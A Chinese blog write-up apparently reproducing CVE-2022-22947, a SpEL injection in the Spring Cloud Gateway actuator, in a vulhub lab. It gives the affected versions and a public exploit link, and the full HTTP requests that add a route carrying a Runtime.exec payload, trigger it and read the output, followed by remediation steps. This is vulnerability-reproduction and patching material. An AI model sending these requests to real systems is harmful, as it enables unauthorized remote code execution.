CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞复现

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞复现

漏洞简述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞。当 攻击者可以访问到 Spring Cloud Gateway actuator 端点时,攻击者可构造恶意请求,创建新路由,同时利用路由的filter功能注入spel表达式,从而造成表达式注入执行任意代码。

漏洞影响版本

  •  3.0.x < Spring Cloud Gateway < 3.0.7
  •  3.1.x < Spring Cloud Gateway < 3.1.1

Shodan 搜索语法

无较好的特征进行识别。建议过滤spring网站后判断/actuator/gateway接口是否存在。

漏洞exp

https://github.com/crowsec-edtech/CVE-2022-22947

漏洞环境搭建

使用vulhub进行复现。搭建完成后请求actuator,会返回所有的接口信息。

漏洞复现

该漏洞的利用有多个步骤。

添加包含恶意SpEL表达式的路由。

POST /actuator/gateway/routes/zgao HTTP/1.1
Host: vul.zgao.top:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 325

{
  "id": "zgao",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

然后请求refresh接口执行刚才添加的恶意路由,将触发SpEL表达式的执行。

POST /actuator/gateway/refresh HTTP/1.1
Host: vul.zgao.top:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 0

然后再请求之前添加的路由,获取命令执行结果。

GET /actuator/gateway/routes/zgao HTTP/1.1
Host: vul.zgao.top:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close

可通过delete删除之前添加的恶意路由。

DELETE /actuator/gateway/routes/zgao HTTP/1.1
Host: vul.zgao.top:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close

使用上面的exp执行命令。

溯源排查

无日志可排查。

修复方式

1、针对 3.1.x 版本,建议升级至 3.1.1 及其以上版本。针对 3.0.x 版本,建议升级至 3.0.7 及其以上版本 。其余官方不再维护版本均建议升级至最新版本。
2、禁止外界访问 Spring Cloud Gateway actuator 端点 ,修改 spring 配置将 management.endpoint.gateway.enabled 置为 false,并重启服务使配置生效。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论